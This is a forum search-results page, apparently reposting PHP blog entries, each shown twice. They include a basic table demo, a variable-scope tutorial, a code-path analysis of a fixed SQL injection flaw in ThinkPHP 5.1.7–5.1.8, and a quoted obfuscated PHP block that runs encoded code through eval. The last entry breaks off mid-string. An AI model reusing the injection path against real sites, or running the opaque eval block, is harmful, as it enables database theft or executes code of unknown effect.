跳转到帖子

搜索论坛

显示结果为标签'php'、'ts'、'windows'、'sql'、'sqlsrv'、'Server'、'PHP'、'SQL'或'server'。

  • 用标签来搜索

    用逗号分隔标签类型
  • 用作者来搜索

内容类型


论坛

  • 漏洞与黑客攻击防御安全领域
    • 黑客攻防业务合作
    • 世界黑客新闻动态
    • WEB和服务器安全漏洞
    • CHT漏洞数据库
    • Linux Kali高级学习教程
    • CTF&密码学与社会工程
    • 木马病毒分析
    • 黑客世界会员中心
  • 问题讨论中心
    • 问答中心
    • 交流中心
  • 编程开发
    • 各种编程技术
    • ios /安卓开发
  • CHT官方团队介绍及比赛制度
    • CTF攻防系统[供会员使用]
    • 积分商场
    • 积分跳马系统
    • 积分统计系统

产品组

  • Hacker attack and defense security hardware series
  • Internet Security Book Recommendations

博客

没有结果。

没有结果。

类别

  • Hacker Attack and Defense & Network Security Videos

查找结果在…

查找包含的结果…


创建日期

  • 开始

    结束


最后更新

  • 开始

    结束


按数量过滤…

注册日期

  • 开始

    结束


用户组


About Me

找到11个结果

  1. 代码:<!doctype html> <html> <head> <meta charset="utf-8"> <title>表格输出</title> </head> <body> <div style="text-align: center;color: brown"> <?php $b="while表格"; $c="#ff0004"; echo "<h1 color=".$c.">".$b."</h1>"?> </div> <table border="1" bordercolor="#FF0004" align="center" > <?php $out=0; while($out<10){ $bg=$out%2==0 ? "#fffddd" :"#dddddd";#设置第一行颜色和第二行颜色 echo "<tr bgcolor=".$bg.">"; $in=0; while($in<10){ echo "<td>".($out*10+$in)."</td>"; $in++; } echo "</tr>"; $out++; } ?> </table> </body> </html>显示结果 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/117.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  2. 代码:<!doctype html> <html> <head> <meta charset="utf-8"> <title>表格输出</title> </head> <body> <div style="text-align: center;color: brown"> <?php $b="while表格"; $c="#ff0004"; echo "<h1 color=".$c.">".$b."</h1>"?> </div> <table border="1" bordercolor="#FF0004" align="center" > <?php $out=0; while($out<10){ $bg=$out%2==0 ? "#fffddd" :"#dddddd";#设置第一行颜色和第二行颜色 echo "<tr bgcolor=".$bg.">"; $in=0; while($in<10){ echo "<td>".($out*10+$in)."</td>"; $in++; } echo "</tr>"; $out++; } ?> </table> </body> </html>显示结果 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/117.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  3. 简要描述ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企 业应用开发而诞生的。ThinkPHP从诞生的12年间一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码 的同时,也注重易用性。目前ThinkPHP框架是国内使用量最大的框架之一,国内用户量众多。近日,360企业安全 集团代码卫士团队安全研究人员发现该框架V5.1.7-V5.1.8 版本在底层数据处理驱动解析数据的时候存在缺陷,一 定场景下,攻击者可以通过构造恶意数据包利用SQL注入的方式获取用户数据库内容。360企业安全集团代码卫士 团队已第一时间和ThinkPHP团队进行沟通修复,建议相关用户及时更新官方发布的新版本。 漏洞分析:注:改漏洞ThinkPHP官方团队在报送当天(2018-04-06)紧急进行了修复处理,详细请参考: https://github.com/top-think/framework/commit/39bb0fe6d50ee77e0779f646b10bce08c442a5e3以下漏洞分析基于ThinkPHP V5.1.8(2018-04-05未更新版) 这里我们主要跟进分析执行update操作的过程。为了方便理解,先直接放出函数的调用栈。 Mysql.php:200, think\db\builder\Mysql->parseArrayData() Builder.php:147, think\db\Builder->parseData() Builder.php:1139, think\db\Builder->update() Connection.php:1149, think\db\Connection->update() Query.php:2571, think\db\Query->update() Index.php:18, app\index\controller\Index->testsql() Container.php:285, ReflectionMethod->invokeArgs() Container.php:285, think\Container->invokeReflectMethod() Module.php:139, think\route\dispatch\Module->run() Url.php:31, think\route\dispatch\Url->run() App.php:378, think\App->think\{closure}() Middleware.php:119, call_user_func_array: {C:\wamp64\www\think518\thinkphp\library\think\Middleware.php:119}() Middleware.php:119, think\Middleware->think\{closure}() Middleware.php:74, call_user_func: {C:\wamp64\www\think518\thinkphp\library\think\Middleware.php:74}() Middleware.php:74, think\Middleware->dispatch() App.php:399, think\App->run() index.php:21, {main}()缺陷关键点为thinkphp解析用户传递过来的Data可控,且可以绕过安全检查。 根据文件 Connection.php:1149, think\db\Connection->update() 第1102行update函数分析,这个函数的主要功 能是用于执行update SQL语句。 //Connection.php:1149, think\db\Connection->update() public function update(Query $query) { $options = $query->getOptions(); if (isset($options['cache']) && is_string($options['cache']['key'])) { $key = $options['cache']['key']; } $pk = $query->getPk($options); $data = $options['data']; if (empty($options['where'])) { // 如果存在主键数据 则自动作为更新条件 if (is_string($pk) && isset($data[$pk])) { $where[$pk] = [$pk, '=', $data[$pk]]; if (!isset($key)) { $key = $this->getCacheKey($query, $data[$pk]); } unset($data[$pk]); } elseif (is_array($pk)) { // 增加复合主键支持 foreach ($pk as $field) { if (isset($data[$field])) { $where[$field] = [$field, '=', $data[$field]]; } else { // 如果缺少复合主键数据则不执行 throw new Exception('miss complex primary data'); } unset($data[$field]); } } if (!isset($where)) { // 如果没有任何更新条件则不执行 throw new Exception('miss update condition'); } else { $options['where']['AND'] = $where; $query->setOption('where', ['AND' => $where]); } } elseif (!isset($key) && is_string($pk) && isset($options['where']['AND'][$pk])) { $key = $this->getCacheKey($query, $options['where']['AND'][$pk]); } // 更新数据 $query->setOption('data', $data); // 生成UPDATE SQL语句 $sql = $this->builder->update($query); $bind = $query->getBind(); if (!empty($options['fetch_sql'])) { // 获取实际执行的SQL语句 return $this->getRealSql($sql, $bind); } // 检测缓存 $cache = Container::get('cache'); if (isset($key) && $cache->get($key)) { // 删除缓存 $cache->rm($key); } elseif (!empty($options['cache']['tag'])) { $cache->clear($options['cache']['tag']); } // 执行操作 $result = '' == $sql ? 0 : $this->execute($sql, $bind); if ($result) { if (is_string($pk) && isset($where[$pk])) { $data[$pk] = $where[$pk]; } elseif (is_string($pk) && isset($key) && strpos($key, '|')) { list($a, $val) = explode('|', $key); $data[$pk] = $val; } $query->setOption('data', $data); $query->trigger('after_update'); }return $result; 刚刚我们将用户可控的 $data set到 $query['options'] 中,这里我们先获取 $query['options'] 内容到 $options 中,然后对Data进行解析 $data = $this->parseData($query, $options['data']); 第1146行, $query->setOption(‘data’, $data); 这里将用户传递的 $data set到 $query 变量中,为下一步的生 成 UPDATE SQL语句做准备,执行 $sql = $this->builder->update($query); 语句,重点马上要来了,跟进 Builder.php:1139, think\db\Builder->update() 函数 //Builder.php:1139, think\db\Builder->update() public function update(Query $query) { $options = $query->getOptions(); $table = $this->parseTable($query, $options['table']); $data = $this->parseData($query, $options['data']); if (empty($data)) { return ''; } foreach ($data as $key => $val) { $set[] = $key . ' = ' . $val; } return str_replace( ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], } [ $this->parseTable($query, $options['table']), implode(' , ', $set), $this->parseJoin($query, $options['join']), $this->parseWhere($query, $options['where']), $this->parseOrder($query, $options['order']), $this->parseLimit($query, $options['limit']), $this->parseLock($query, $options['lock']), $this->parseComment($query, $options['comment']), ], $this->updateSql);刚刚我们将用户可控的 $data set到 $query['options'] 中,这里我们先获取 $query['options'] 内容到 $options 中,然后对Data进行解析 $data = $this->parseData($query, $options['data']); //Builder.php:147, think\db\Builder->parseData() protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '') { if (empty($data)) { return []; } $options = $query->getOptions(); // 获取绑定信息 if (empty($bind)) { $bind = $this->connection->getFieldsBind($options['table']); } if (empty($fields)) { if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; } } $result = []; foreach ($data as $key => $val) { $item = $this->parseKey($query, $key); if ($val instanceof Expression) { $result[$item] = $val->getValue(); continue; } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) { $val = json_encode($val); } elseif (is_object($val) && method_exists($val, '__toString')) { // 对象数据写入 $val = $val->__toString(); } if (false !== strpos($key, '->')) { list($key, $name) = explode('->', $key); $item = $this->parseKey($query, $key); $result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this- >parseDataBind($query, $key, $val, $bind, $suffix) . ')'; } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_array($val) && !empty($val)) { switch ($val[0]) { case 'INC': $result[$item] = $item . ' + ' . floatval($val[1]); break; case 'DEC': $result[$item] = $item . ' - ' . floatval($val[1]); break; default: $value = $this->parseArrayData($query, $val); if ($value) { $result[$item] = $value; } } } elseif (is_scalar($val)) { // 过滤非标量数据 $result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix); } } return $result; } //Mysql.php:200, think\db\builder\Mysql->parseArrayData() protected function parseArrayData(Query $query, $data) { list($type, $value) = $data; switch (strtolower($type)) { case 'point': $fun = isset($data[2]) ? $data[2] : 'GeomFromText'; $point = isset($data[3]) ? $data[3] : 'POINT'; //在第115行,通过 foreach ($data as $key => $val) 处理 $data ,然后解析 $key 保存到 $item 变量中去,之后 执行下面的判断逻辑,想要合理地进入各个判断分支,就要巧妙的构造 $key 和 $value 也就是 $data 的值。紧接 着我们进入漏洞触发点 $value = $this->parseArrayData($query, $val); ,跟进函数 $value = $this- >parseArrayData($query, $val); //Mysql.php:200, think\db\builder\Mysql->parseArrayData() protected function parseArrayData(Query $query, $data) { list($type, $value) = $data; switch (strtolower($type)) { case 'point': $fun = isset($data[2]) ? $data[2] : 'GeomFromText'; $point = isset($data[3]) ? $data[3] : 'POINT'; if (is_array($value)) { $value = implode(' ', $value); } $result = $fun . '(\'' . $point . '(' . $value . ')\')';//需要简单的构造一下sql语 break; default: }这里 $type 、 $value 和 $data 均为可控值,那么函数返回的 $result 也就是可控的。回到上一个 Builder.php 文件中,将返回的结果赋值到 $result[$item] = $value; 中,之后的生成SQL语句和常见的流程没有任何差别不在 展开具体分析。 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/129.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  4. 简要描述ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企 业应用开发而诞生的。ThinkPHP从诞生的12年间一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码 的同时,也注重易用性。目前ThinkPHP框架是国内使用量最大的框架之一,国内用户量众多。近日,360企业安全 集团代码卫士团队安全研究人员发现该框架V5.1.7-V5.1.8 版本在底层数据处理驱动解析数据的时候存在缺陷,一 定场景下,攻击者可以通过构造恶意数据包利用SQL注入的方式获取用户数据库内容。360企业安全集团代码卫士 团队已第一时间和ThinkPHP团队进行沟通修复,建议相关用户及时更新官方发布的新版本。 漏洞分析:注:改漏洞ThinkPHP官方团队在报送当天(2018-04-06)紧急进行了修复处理,详细请参考: https://github.com/top-think/framework/commit/39bb0fe6d50ee77e0779f646b10bce08c442a5e3以下漏洞分析基于ThinkPHP V5.1.8(2018-04-05未更新版) 这里我们主要跟进分析执行update操作的过程。为了方便理解,先直接放出函数的调用栈。 Mysql.php:200, think\db\builder\Mysql->parseArrayData() Builder.php:147, think\db\Builder->parseData() Builder.php:1139, think\db\Builder->update() Connection.php:1149, think\db\Connection->update() Query.php:2571, think\db\Query->update() Index.php:18, app\index\controller\Index->testsql() Container.php:285, ReflectionMethod->invokeArgs() Container.php:285, think\Container->invokeReflectMethod() Module.php:139, think\route\dispatch\Module->run() Url.php:31, think\route\dispatch\Url->run() App.php:378, think\App->think\{closure}() Middleware.php:119, call_user_func_array: {C:\wamp64\www\think518\thinkphp\library\think\Middleware.php:119}() Middleware.php:119, think\Middleware->think\{closure}() Middleware.php:74, call_user_func: {C:\wamp64\www\think518\thinkphp\library\think\Middleware.php:74}() Middleware.php:74, think\Middleware->dispatch() App.php:399, think\App->run() index.php:21, {main}()缺陷关键点为thinkphp解析用户传递过来的Data可控,且可以绕过安全检查。 根据文件 Connection.php:1149, think\db\Connection->update() 第1102行update函数分析,这个函数的主要功 能是用于执行update SQL语句。 //Connection.php:1149, think\db\Connection->update() public function update(Query $query) { $options = $query->getOptions(); if (isset($options['cache']) && is_string($options['cache']['key'])) { $key = $options['cache']['key']; } $pk = $query->getPk($options); $data = $options['data']; if (empty($options['where'])) { // 如果存在主键数据 则自动作为更新条件 if (is_string($pk) && isset($data[$pk])) { $where[$pk] = [$pk, '=', $data[$pk]]; if (!isset($key)) { $key = $this->getCacheKey($query, $data[$pk]); } unset($data[$pk]); } elseif (is_array($pk)) { // 增加复合主键支持 foreach ($pk as $field) { if (isset($data[$field])) { $where[$field] = [$field, '=', $data[$field]]; } else { // 如果缺少复合主键数据则不执行 throw new Exception('miss complex primary data'); } unset($data[$field]); } } if (!isset($where)) { // 如果没有任何更新条件则不执行 throw new Exception('miss update condition'); } else { $options['where']['AND'] = $where; $query->setOption('where', ['AND' => $where]); } } elseif (!isset($key) && is_string($pk) && isset($options['where']['AND'][$pk])) { $key = $this->getCacheKey($query, $options['where']['AND'][$pk]); } // 更新数据 $query->setOption('data', $data); // 生成UPDATE SQL语句 $sql = $this->builder->update($query); $bind = $query->getBind(); if (!empty($options['fetch_sql'])) { // 获取实际执行的SQL语句 return $this->getRealSql($sql, $bind); } // 检测缓存 $cache = Container::get('cache'); if (isset($key) && $cache->get($key)) { // 删除缓存 $cache->rm($key); } elseif (!empty($options['cache']['tag'])) { $cache->clear($options['cache']['tag']); } // 执行操作 $result = '' == $sql ? 0 : $this->execute($sql, $bind); if ($result) { if (is_string($pk) && isset($where[$pk])) { $data[$pk] = $where[$pk]; } elseif (is_string($pk) && isset($key) && strpos($key, '|')) { list($a, $val) = explode('|', $key); $data[$pk] = $val; } $query->setOption('data', $data); $query->trigger('after_update'); }return $result; 刚刚我们将用户可控的 $data set到 $query['options'] 中,这里我们先获取 $query['options'] 内容到 $options 中,然后对Data进行解析 $data = $this->parseData($query, $options['data']); 第1146行, $query->setOption(‘data’, $data); 这里将用户传递的 $data set到 $query 变量中,为下一步的生 成 UPDATE SQL语句做准备,执行 $sql = $this->builder->update($query); 语句,重点马上要来了,跟进 Builder.php:1139, think\db\Builder->update() 函数 //Builder.php:1139, think\db\Builder->update() public function update(Query $query) { $options = $query->getOptions(); $table = $this->parseTable($query, $options['table']); $data = $this->parseData($query, $options['data']); if (empty($data)) { return ''; } foreach ($data as $key => $val) { $set[] = $key . ' = ' . $val; } return str_replace( ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], } [ $this->parseTable($query, $options['table']), implode(' , ', $set), $this->parseJoin($query, $options['join']), $this->parseWhere($query, $options['where']), $this->parseOrder($query, $options['order']), $this->parseLimit($query, $options['limit']), $this->parseLock($query, $options['lock']), $this->parseComment($query, $options['comment']), ], $this->updateSql);刚刚我们将用户可控的 $data set到 $query['options'] 中,这里我们先获取 $query['options'] 内容到 $options 中,然后对Data进行解析 $data = $this->parseData($query, $options['data']); //Builder.php:147, think\db\Builder->parseData() protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '') { if (empty($data)) { return []; } $options = $query->getOptions(); // 获取绑定信息 if (empty($bind)) { $bind = $this->connection->getFieldsBind($options['table']); } if (empty($fields)) { if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; } } $result = []; foreach ($data as $key => $val) { $item = $this->parseKey($query, $key); if ($val instanceof Expression) { $result[$item] = $val->getValue(); continue; } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) { $val = json_encode($val); } elseif (is_object($val) && method_exists($val, '__toString')) { // 对象数据写入 $val = $val->__toString(); } if (false !== strpos($key, '->')) { list($key, $name) = explode('->', $key); $item = $this->parseKey($query, $key); $result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this- >parseDataBind($query, $key, $val, $bind, $suffix) . ')'; } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_array($val) && !empty($val)) { switch ($val[0]) { case 'INC': $result[$item] = $item . ' + ' . floatval($val[1]); break; case 'DEC': $result[$item] = $item . ' - ' . floatval($val[1]); break; default: $value = $this->parseArrayData($query, $val); if ($value) { $result[$item] = $value; } } } elseif (is_scalar($val)) { // 过滤非标量数据 $result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix); } } return $result; } //Mysql.php:200, think\db\builder\Mysql->parseArrayData() protected function parseArrayData(Query $query, $data) { list($type, $value) = $data; switch (strtolower($type)) { case 'point': $fun = isset($data[2]) ? $data[2] : 'GeomFromText'; $point = isset($data[3]) ? $data[3] : 'POINT'; //在第115行,通过 foreach ($data as $key => $val) 处理 $data ,然后解析 $key 保存到 $item 变量中去,之后 执行下面的判断逻辑,想要合理地进入各个判断分支,就要巧妙的构造 $key 和 $value 也就是 $data 的值。紧接 着我们进入漏洞触发点 $value = $this->parseArrayData($query, $val); ,跟进函数 $value = $this- >parseArrayData($query, $val); //Mysql.php:200, think\db\builder\Mysql->parseArrayData() protected function parseArrayData(Query $query, $data) { list($type, $value) = $data; switch (strtolower($type)) { case 'point': $fun = isset($data[2]) ? $data[2] : 'GeomFromText'; $point = isset($data[3]) ? $data[3] : 'POINT'; if (is_array($value)) { $value = implode(' ', $value); } $result = $fun . '(\'' . $point . '(' . $value . ')\')';//需要简单的构造一下sql语 break; default: }这里 $type 、 $value 和 $data 均为可控值,那么函数返回的 $result 也就是可控的。回到上一个 Builder.php 文件中,将返回的结果赋值到 $result[$item] = $value; 中,之后的生成SQL语句和常见的流程没有任何差别不在 展开具体分析。 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/129.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  5. 局部变量对于局部变量,只能在引用的函数中使用。而结束函数后,该变量也失去了意义。 全局变量顾名思义,全局变量就是在整个项目中都可以进行调用。但需要注意的是,在函数中是不能直接进行调用的,我们需要关键词globla进行声明就就可以了。 静态变量静态变量,其值是不会发生变化。通常用关键词static定义静态变量。 实例代码<?php /** 全局变量 、局部变量、静态变量。 **/ $c=6; $d=9; function bbs($a,$b){ echo "局部变量结果:" .$a*$b."</br>"; } ?> <?php function kali(){ global $c,$d; echo "全局变量结果:".$c*$d."</br>"; } ?> <?php function cn(){ static $f=1; echo "静态变量:".$f."</br>"; $f++; } ?> <?php bbs(7,7); kali(); cn(); cn(); ?> 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/195.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  6. 局部变量对于局部变量,只能在引用的函数中使用。而结束函数后,该变量也失去了意义。 全局变量顾名思义,全局变量就是在整个项目中都可以进行调用。但需要注意的是,在函数中是不能直接进行调用的,我们需要关键词globla进行声明就就可以了。 静态变量静态变量,其值是不会发生变化。通常用关键词static定义静态变量。 实例代码<?php /** 全局变量 、局部变量、静态变量。 **/ $c=6; $d=9; function bbs($a,$b){ echo "局部变量结果:" .$a*$b."</br>"; } ?> <?php function kali(){ global $c,$d; echo "全局变量结果:".$c*$d."</br>"; } ?> <?php function cn(){ static $f=1; echo "静态变量:".$f."</br>"; $f++; } ?> <?php bbs(7,7); kali(); cn(); cn(); ?> 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/195.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  7. 题记一次在开发PHP时,需要参考一段代码。然后从伟大的度娘哪里百度了一段。可以实现我们想要的功能,但是当我在修改代码的过程中,遇到了下面情况。<?php // Copyright(C) 2008-2012 www.axphp.com, All rights reserved. $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=1300;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTk1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ21OcnVKaGxGSWZaSGFpNTlldEdQblFNQ1lUeStiQXczelgvMEJzZ1ZXZDY3TzJTVTFvanZEYzRScXBFTDhLeGs9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?> fJK9auN9auN9aucvAFf3bgQ1+lh0TGzVCcKlGnohCc8VHrIVI/qBPDK9aJ81Pvm1H/IVI/1WfJK9Pvm1auN9arzBPD81PD81aJ81Zrt9PvN9Pvm1aJ8WfJ81auN9aJ81ar1BPD81aJ81aum1ZG1V+npjAndW+JTfTsdIYMBc5MQDtcNSnncuMQtpZ4fNAviEMr81eViVQsABi0A9asiQaMK6ABt0ihfobJQa5J2qyvDVHrANeBiJtnTFGJsZGDoiPBKenQfPQhQMQcXTMgh/Y4tsTgAWyMd7+lcS+RNobViDACTRwFsEauJjaveci0bq5GOUfjBdZGBLTgiO+RisZrt9aum1PvN9aumd54Q4YM1WfJK9auN9auN9arBLuedjTChcyCfsIrbSH/K2YMsOC4iU+gTdTjp1yFmV51DZbgQoAMsjTGmVYCX1yFN3TMcXyM1SblX1fvOir/tDyCtOTPDBCcN9nct+fRtdAlosfcDLueWBY4KSAlQSAuDBCcN9nct+f4iU+Vts+VeVCPOir/tvTMpBTlKs+Mhd+0DBCcN9nct+fRis+gtB+4Q2YMsSfcDLueWBb4cDbFisbVTsb/mKIrtXwFNWbhOVb4QjAgQjfcDLueWBb4cDbFisbVTsbVNUbVez9GtXwFNWbhOVblKjArAA51DZfFi2AFNcb4Qj+Mhd+rmKIrtXwFNWbhOVTMcXyM1VCPOir/tv+Ct1ACisb/mKIrtXwFNWbhOV+Mhd+FQvTCIVCPOir/tv+Ct1blhvbjmKIrtXwFNWbhOV+Mhd+FNXbRaVCPOir/t2YMsObRQ/ygQ0ArmKIrtDyCtOTPOir/t2YMsOYgKBwGmKIrt0+4pDTMpD51DZflcXyMoDwCNsIuDzIBXnPn1/51DZfFi/9PmLueWBb4QSTlhjbghp9MQqbloUTlnWI/1/HrtvTMpBTlKs+Mhd+/BLueWBTMcXyMoSAMDKY4Kc+VeWfFis+gtXbVfXwGBLuedg+RfsYMiWZrtvTMpBYCfjYCBzYCazflQ2YMsOTlKB+4tUZeDZw1DZfFi2AFNs+Mhd+FtUIuDzflQ2YMsOTlKB+4tU51DZfFi2AFmz9GNSTCbzb4cDbrzBb4cDbFisbVTsb/1Bb4cDbFisbVTsbVNUbVeOAFfcTG1Bb4cDbFQvTCIOfFi2AFN1YCivZPOir/tv+Ct1HPpBTMfcTjmKIlTX+Fis51DZfFi2AFm29Vis+gt2YMsOZrtv+Ct1TMcXyMoD+j1Bb4cDbFQvTCf2YMsOHrt2YMsObRQ/ygQ0Ar1B+Mhd+lfUTFBOflcXyMoDwCNsZPOirVDir02sY4XUIrbir0ovYRfdbFezAFs1TPD/AlQqArK6YCTXb4ijyCNDI0qirghOTCfDZh1Vo97aq+4LD868kO7KS+Izfv2sY4XUIrts+Mhd+lpc+POLTMiW+jmVIH04HH9fSyyRWOUiIrbLTMiW+jmBTMcXyMoSAMDL54Q0yl8zfjrqK/jRWOUij6w1RrmV54Q0yl8zfFi/5v2sY4XUIrbzS9TbClpbClERWOUiO8gpdOHZ5/moaumsChoSChoSSiueS86pD851WOLRci79RK9ZU9LIS7w/vLCiOE5XCrbd54oUY4hDyMKSHgXjTMYKCrAXTlcd+/p1yFNbfvO8HRi0bgs1AuqV51==恩恩,这是什么鬼! 查了下 $OOO0O0O00=__FILE__;$OOO000000是用来加密的,那么我们该如何处理这个问题呢? 借助伟大的google粑粑。我找到了一个解密网站。 微盾解密:https://yoursunny.com/p/PHP-decode/ 我们打开网站,复制上面的代码,然后点解解密即可。 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/212.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  8. 题记一次在开发PHP时,需要参考一段代码。然后从伟大的度娘哪里百度了一段。可以实现我们想要的功能,但是当我在修改代码的过程中,遇到了下面情况。<?php // Copyright(C) 2008-2012 www.axphp.com, All rights reserved. $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=1300;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTk1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ21OcnVKaGxGSWZaSGFpNTlldEdQblFNQ1lUeStiQXczelgvMEJzZ1ZXZDY3TzJTVTFvanZEYzRScXBFTDhLeGs9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?> fJK9auN9auN9aucvAFf3bgQ1+lh0TGzVCcKlGnohCc8VHrIVI/qBPDK9aJ81Pvm1H/IVI/1WfJK9Pvm1auN9arzBPD81PD81aJ81Zrt9PvN9Pvm1aJ8WfJ81auN9aJ81ar1BPD81aJ81aum1ZG1V+npjAndW+JTfTsdIYMBc5MQDtcNSnncuMQtpZ4fNAviEMr81eViVQsABi0A9asiQaMK6ABt0ihfobJQa5J2qyvDVHrANeBiJtnTFGJsZGDoiPBKenQfPQhQMQcXTMgh/Y4tsTgAWyMd7+lcS+RNobViDACTRwFsEauJjaveci0bq5GOUfjBdZGBLTgiO+RisZrt9aum1PvN9aumd54Q4YM1WfJK9auN9auN9arBLuedjTChcyCfsIrbSH/K2YMsOC4iU+gTdTjp1yFmV51DZbgQoAMsjTGmVYCX1yFN3TMcXyM1SblX1fvOir/tDyCtOTPDBCcN9nct+fRtdAlosfcDLueWBY4KSAlQSAuDBCcN9nct+f4iU+Vts+VeVCPOir/tvTMpBTlKs+Mhd+0DBCcN9nct+fRis+gtB+4Q2YMsSfcDLueWBb4cDbFisbVTsb/mKIrtXwFNWbhOVb4QjAgQjfcDLueWBb4cDbFisbVTsbVNUbVez9GtXwFNWbhOVblKjArAA51DZfFi2AFNcb4Qj+Mhd+rmKIrtXwFNWbhOVTMcXyM1VCPOir/tv+Ct1ACisb/mKIrtXwFNWbhOV+Mhd+FQvTCIVCPOir/tv+Ct1blhvbjmKIrtXwFNWbhOV+Mhd+FNXbRaVCPOir/t2YMsObRQ/ygQ0ArmKIrtDyCtOTPOir/t2YMsOYgKBwGmKIrt0+4pDTMpD51DZflcXyMoDwCNsIuDzIBXnPn1/51DZfFi/9PmLueWBb4QSTlhjbghp9MQqbloUTlnWI/1/HrtvTMpBTlKs+Mhd+/BLueWBTMcXyMoSAMDKY4Kc+VeWfFis+gtXbVfXwGBLuedg+RfsYMiWZrtvTMpBYCfjYCBzYCazflQ2YMsOTlKB+4tUZeDZw1D